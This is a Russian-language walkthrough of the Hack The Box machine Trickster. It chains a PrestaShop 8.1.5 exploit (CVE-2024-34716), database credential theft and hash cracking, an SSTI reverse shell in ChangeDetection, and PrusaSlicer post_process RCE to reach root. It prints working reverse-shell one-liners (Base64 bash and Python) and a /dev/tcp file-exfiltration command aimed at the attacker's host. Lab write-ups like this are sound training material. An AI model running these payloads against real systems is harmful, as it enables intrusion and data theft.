HTB Trickster
Пробираемся к руту через PrestaShop и Docker
Наша цель — получение прав суперпользователя на машине Trickster с учебной площадки Hack The Box. Уровень сложности задания — средний.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.34 trickster.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер нашел два открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Apache 2.4.52.
Скоуп очень маленький, поэтому сразу идем смотреть сайт.

Точка входа
Сайт одностраничный, поэтому все ссылки в меню нерабочие, кроме последней, которая ведет на другой домен — shop.
.

Обновим запись в файле /
, а затем обновим и страницу в браузере.
10.10.11.34 trickster.htb shop.trickster.htb

На сайте ничего интересного найти не удалось, поэтому поищем, нет ли скрытых страниц и каталогов.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю feroxbuster.
При запуске указываем следующие параметры:
-
-u
— URL; -
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-d
— глубина сканирования.
Задаем все параметры и запускаем сканирование:
feroxbuster -u http://shop.trickster.htb -w files_interesting.txt -d 1 -t 128

Среди каталогов видим .
, и это отличная находка для атакующего! С помощью git-dumper попробуем сдампить репозиторий.
git-dumper http://shop.trickster.htb/.git/ ./shop/

В репозитории всего один коммит, а значит, стоит заглянуть в исходный код. Это похоже на какую‑то CMS, причем с очень интересным каталогом админки: /
.

Переходим к админке и видим, что имеем дело с PrestaShop версии 8.1.5.

info
Об атаке на PrestaShop в рамках реального пентеста читай в статье «Громим PrestaShop. Как я захватил инсталл интернет‑магазина на багбаунти».
Точка опоры
Давай посмотрим, есть ли для этой версии PrestaShop готовые эксплоиты.

Из Google быстро узнаём, что PrestaShop 8.1.5 уязвима к CVE-2024-34716 и атака может привести к удаленному выполнению кода. Работает это так: если на страницу /
отправить вложение в формате PNG со встроенным кодом на JavaScript, то при просмотре в браузере код выполнится. С помощью кода на JS выполняется запрос к панели администрирования:
/admin/index.php/improve/design/themes/import
В результате импортируется модуль с PHP-нагрузкой, которая приводит к RCE. Все это уже реализовано в эксплоите.

Однако для эксплуатации нужно указать почтовый адрес. Его найдем на странице интернет‑магазина.

Запускаем эксплоит, указав необходимые параметры, и через несколько секунд получаем сессию пользователя Linux на веб‑сервере.
python3 exploit.py --url http://shop.trickster.htb --email admin@trickster.htb --local-ip 10.10.16.37 --admin-path admin634ewutrx1jgitlooaj


Продвижение
Пользователь james
Так как мы работаем от имени службы веб‑сервера и на нем развернуто веб‑приложение, попробуем получить максимальное количество учетных данных. Первым делом просмотрим файл, в котором обычно содержится информация для подключения к базе данных.
cat /var/www/prestashop/app/config/parameters.php

Чтобы работать с базой данных, нужна интерактивная командная оболочка. Для этого запускаем листенер (pwncat-cs
) и выполняем обычный реверс‑шелл, закодированный в Base64.
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zNy80MzIxIDA+JjE= | base64 -d | bash
Когда сессия pwncat будет создана, подключимся к MySQL и просмотрим, какие есть базы данных.
mysql -h 127.0.0.1 -u ps_user -p'prest@shop_o'
show databases;

Нас интересует база prestashop
, получим из нее таблицы.
use prestashop;show tables;

Скорее всего, нам нужна таблица ps_employee
. Получим все данные из нее.
select * from ps_employee;

Теперь у нас на руках два хеша bcrypt. Отправляем хеш пользователя james в hashcat на перебор по словарю.
hashcat '$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm' rockyou.txt
Утилита не распознала алгоритм хеширования и предложила несколько вариантов.

Снова запустим hashcat, но в этот раз указываем режим 3200.
hashcat -m 3200 '$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm' rockyou.txt

У пользователя, пароль которого мы получили, есть командная оболочка в системе.
cat /etc/passwd | grep bash

Авторизуемся по SSH и забираем первый флаг.

RCE in Docker
Теперь нам необходимо собрать информацию. Я обычно использую для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим ему право на выполнение и запустим сканирование. В выводе много информации, но выделить что‑то особенное не удалось. Однако на хосте работают Docker-контейнеры, поэтому мы можем просканировать сеть с интерфейса docker0
.

Загружаем на хост бинарь Nmap и определяем в сети живые хосты.
./nmap 172.17.0.1/24 -sn

Теперь сканируем первые 10 000 портов на хосте 172.17.0.2.
./nmap -p 1-10000 172.17.0.2

И находим среди них всего один открытый. Чтобы получить к нему доступ, нам нужно будет «прокинуть» порт 5000 на свой хост с помощью SSH.
ssh -L 5000:172.17.0.2:5000 james@trickster.htb
В результате весь трафик, который мы пошлем на локальный порт 5000, будет туннелирован на порт 5000 указанного хоста (в данном случае 172.17.0.2) через SSH-хост.
Теперь просмотрим сайт через браузер. Нас встречает страница авторизации ChangeDetection 0.45.20.

А раз мы снова столкнулись с каким‑то хоть сколько‑то популярным софтом и знаем его версию, нужно сразу поискать, нет ли для него известных уязвимостей.

Так мы узнаём, что в нашей версии ChangeDetection есть уязвимость SSTI — включения шаблонов на стороне сервера.
Справка: Server-Side Template Injection
Server-Side Template Injection (SSTI), или инъекция шаблонов на стороне сервера, — это механизм атаки, при котором злоумышленник внедряет в шаблон вредоносный код. Шаблоны нужны веб‑разработчикам, чтобы можно было настраивать внешний вид сайта только в одном месте и затем не копировать вручную. По сути, шаблон — это документ HTML, где в нужных местах отмечены переменные и команды, которые при генерации итоговой страницы будут заменены данными. В том числе это могут быть и данные, полученные от посетителя сайта.
Атака затрагивает момент, когда присланная информация объединяется с шаблоном. Злоумышленник формирует строку таким образом, чтобы она не просто подставилась в шаблон, а была интерпретирована как код. Если это возможно, то он добавит свои директивы, с помощью которых выполнит эксфильтрацию данных или даже захват веб‑сервера.
Для эксплуатации нам понадобится авторизоваться на сервисе. У меня это получилось сделать с помощью пароля пользователя james
.

Перейдем к изменению любой из записей. Нас интересуют настройки Notifications. Указываем URL, заголовок уведомления и нагрузку SSTI с реверс‑шеллом — в тексте уведомления.
{{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.37",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'') }}
Затем запускаем листенер у себя (снова pwncat-cs
) и отправляем уведомление в тестовом режиме. В окне листенера получаем привилегированную сессию в контейнере Docker.


Docker credentials dumping
У нас рут в «Докере», а значит, нужно изучить, что есть в файловой системе. В каталоге /
находим бэкапы ChangeDetection.

Чтобы получить файл из удаленного контейнера, можем использовать netcat. Для этого вывод с netcat на локальной машине перенаправляем в файл.
nc -l -p 4444 -q 1 > changedetection-backup-20240830194841.zip
В контейнере же содержимое файла направляем в соответствующий сокет.
cat changedetection-backup-20240830194841.zip > /dev/tcp/10.10.16.37/4444
Так сохраняем архив на локальную машину и находим какой‑то файл .
.

Это формат Brotli, который можно преобразовать на онлайновом сервисе myl.moe.

В декодированном файле находим учетные данные пользователя adam
.

С полученными учетными данными удается подключиться по SSH.

Локальное повышение привилегий
Разведку мы уже проводили, поэтому остается не так много интересных мест, которые можно проверить в поисках пути для повышения привилегий. Первое из них — это файл sudoers. Просматриваем его через sudo
.

Приложение /
можно выполнять в привилегированном контексте без ввода пароля. Сразу проверим, нет ли для этой утилиты эксплоитов или техник GTFOBins.

Узнаём, что в PrusaSlicer 2.6.1 есть RCE — уязвимость выполнения произвольного кода. Проверим версию утилиты на хосте.

На хосте как раз подходящая версия, поэтому разберемся с уязвимостью. Как следует из описания Exploit DB, файл проекта PrusaSlicer 3mf
представляет собой ZIP-архив и содержит файл Metadata/
с настройками проекта. Настройка post_process указывает команду постобработки проекта, которая выполнится в терминале при экспорте G-кода.

Я поискал в интернете примеры файлов 3mf
и использовал первый попавшийся. Распаковываем ZIP, открываем файл Metadata/
, находим настройку post_process
и записываем туда команду chmod
. Она назначит S-бит файлу командной оболочки bash.

Архивируем проект обратно, копируем его файл на удаленный сервер и выполняем экспорт G-кода, конечно же, через sudo
. После завершения работы утилиты обнаружим, что файл /
получил S-бит.
sudo /opt/PrusaSlicer/prusaslicer -s skull_2.3mf

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Теперь мы можем запустить новую оболочку от имени пользователя root
.

Машина захвачена!